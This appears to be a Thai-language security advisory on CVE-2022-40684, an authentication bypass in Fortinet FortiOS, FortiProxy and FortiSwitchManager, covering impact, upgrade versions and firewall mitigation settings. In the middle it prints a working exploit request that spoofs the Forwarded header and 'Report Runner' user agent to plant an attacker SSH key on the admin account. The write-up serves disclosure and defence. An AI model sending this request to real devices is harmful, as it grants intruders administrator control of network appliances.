CVE-2022-40684

เกี่ยวกับช่องโหว่
CVE-2022-40684 เป็นช่องโหว่บายพาสการตรวจสอบสิทธิ์ในผลิตภัณฑ์บางอย่างของ Fortinet เช่น FortiOS, Fortiproxy และ FortiSwitchManager ซึ่งหมายความว่า การใช้ช่องโหว่นี้ทำให้ผู้โจมตีสามารถข้ามการตรวจสอบสิทธิ์และเข้าสู่ระบบในฐานะผู้ดูแลระบบได้ คะแนนพื้นฐานสำหรับช่องโหว่นี้คือ 9.8 ทำให้มีความสำคัญอย่างยิ่ง ก่อนที่จะดำเนินการต่อไปเรามาทำความเข้าใจว่าผลิตภัณฑ์เหล่านี้คืออะไร:
- FortiOS: ตามชื่อที่บ่งบอกว่า FortiOS ซึ่งเป็นระบบปฏิบัติการเครือข่ายของ Fortinetเป็นหัวใจสำคัญของ Fortinet Security ระบบปฏิบัติการนี้เป็นแกนหลักของ Security Fabric และเชื่อมโยงส่วนประกอบทั้งหมดเข้าด้วยกันเพื่อให้แน่ใจว่ามีการผสานรวมที่แน่นแฟ้นทั่วทั้งการปรับใช้ทั้งหมดขององค์กร
- FortiProxy: เป็นเว็บพร็อกซีที่ปลอดภัยซึ่งปกป้องพนักงานจากการโจมตีทางอินเทอร์เน็ตโดยใช้เทคนิคการตรวจจับหลายอย่าง เช่น การกรองเว็บ
- FortiSwitchManager (FSWM) เป็นแพลตฟอร์มการจัดการในสถานที่สำหรับผลิตภัณฑ์ FortiSwitch หน่วย FortiSwitch เชื่อมต่อกับ FortiSwitch Manager ผ่านเครือข่ายเลเยอร์ 3 คุณสามารถกำหนดค่าหน่วย FortiSwitch จำนวนมากได้ด้วยแพลตฟอร์ม FortiSwitch-management-only นี้
ผลกระทบ
จุดบกพร่องจะอนุญาตให้ผู้ใช้ที่ไม่ได้รับการตรวจสอบสิทธิ์ดำเนินการโดยตรงบนแผงการดูแลระบบผ่านคำขอ HTTP/S บางวิธี (วิธีการอาจเป็น GET, POST, DELETE เป็นต้น) การมีบทบาทผู้ดูแลระบบอาจทำให้เกิดเหตุการณ์ต่อไปนี้:
- ควบคุมการเข้าควบคุมแอปพลิเคชันทั้งหมด
- การเข้าถึงโครงสร้างพื้นฐานภายใน
- การเพิ่มหรือลบผู้ใช้
- การเปิดเผยข้อมูลที่ละเอียดอ่อน
- แก้ไขคีย์ SSH ของผู้ใช้ที่เป็นผู้ดูแลระบบเพื่อให้ผู้โจมตีเข้าสู่ระบบที่ถูกบุกรุกได้
- การดัดแปลงไฟล์ปรับแต่งต่างๆ เป็นต้น
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 โฮสต์: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected] \”” }
- การใช้ส่วนหัวที่ส่งต่อ ผู้โจมตีสามารถตั้งค่าclient_ipเป็น “127.0.0.1”
- การตรวจสอบความถูกต้องของ "การเข้าถึงที่เชื่อถือได้" ยืนยันว่าclient_ipคือ "127.0.0.1" และUser-Agentคือ "Report Runner" ซึ่งทั้งคู่อยู่ภายใต้การควบคุมของผู้โจมตี
“การค้นหาวิธีแก้ไขสำคัญกว่าการหาข้อผิดพลาด”
ต่อไปนี้เป็นการแก้ไขบางส่วนเพื่อปกป้ององค์กรจาก CVE-2022–40684:
- การยกระดับผลิตภัณฑ์ที่ได้รับผลกระทบ
อัปเกรดเวอร์ชัน FortiOS เป็น ≥7.2.2 และ ≥7.0.7
อัปเกรดเวอร์ชัน FortiProxy เป็น ≥7.2.1 และ ≥ 7.0.7
อัปเกรด FortiSwitchManager เวอร์ชัน ≥7.2.1 และ ≥7.0.1 - ปิดใช้งานอินเทอร์เฟซการดูแลระบบ http/https บน FortiOS, FortiProxy และ FortiSwitchManager
- สำหรับ FortiOS ให้จำกัดที่อยู่ IP ที่สามารถเข้าถึงอินเทอร์เฟซการดูแลระบบ
config firewall address
edit "my_allowed_addresses"
set subnet <MY IP> <MY SUBNET>
end
config firewall addrgrp
edit "MGMT_IPs"
set member "my_allowed_addresses"
end
config firewall local-in-policy
edit 1
set intf port1
set srcaddr "MGMT_IPs"
set dstaddr "all"
set action accept
set service HTTPS HTTP
set schedule "always"
set status enable
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS HTTP
set schedule "always"
set status enable
end
config firewall service custom
edit GUI_HTTPS
set tcp-portrange <admin-sport>
next
edit GUI_HTTP
set tcp-portrange <admin-port>
end
config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end